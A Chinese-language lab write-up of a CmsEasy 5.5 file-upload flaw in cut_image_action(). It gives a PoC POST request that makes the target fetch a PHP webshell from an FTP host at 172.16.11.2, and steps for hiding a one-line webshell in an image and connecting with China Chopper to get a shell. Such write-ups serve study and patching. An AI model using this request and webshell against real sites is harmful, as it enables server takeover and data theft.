0x01 漏洞原理
-
CmsEasy5.5存在代码执行漏洞,通过该漏洞可以实现文件上传,通过分析,发现该漏洞是因为
code.pngcut_image_action()
函数引起的,该函数最后生成的的文件名直接用了$_POST['pic']
接受未经任何安全防护的输入作为扩展名,可以导致getshell.
- 分析以上代码,可以构造如下poc
post /index.php?case=tool&act=cut_image
pic=1ftp://172.16.11.2/phpinfo.php&w=700&h=112&x1=0&x2=112&y1=0&y2=112
注意:$_POST['pic']是通过判断前4个字符不是 http,则认为文件是本站文件,会从前面抽取掉baseurl,返回文件相对路径。所以构造的时候,如果站点不是放在根目录,则需要补位strlen(base_url)+2 如果放在根目录 也需要补上1位('/'的长度)所以构造pic=1ftp,补齐位数。
漏洞复现
- 从实验环境中下载工具到本地,工具中包括一个图片文件,用notepad++打开,可以找到隐藏在图片中的php一句话,如下图所示:
- 保存文件,修改文件名为:
phpinfo.php
并保存至本地C盘ftp文件夹中 - 打开Ftp工具,将ftp server的访问目录改为 C:\ftp,启动服务
- 在firefox中打开目标界面,
http://www.test.ichunqiu
hackbar工具(按F9)。 - 在hackbar中构造如poc,点击hackbar中的Excute,可以看到如下结果
- 在地址栏中输入如下图所示地址,结果如下,说明一句话木马上传成功。
- 用中国菜刀连接一句话木马,可以看到如下结果,说明getshell成功!
漏洞修复
- 要修复此漏洞,只需升级到最新版就可以了!
网友评论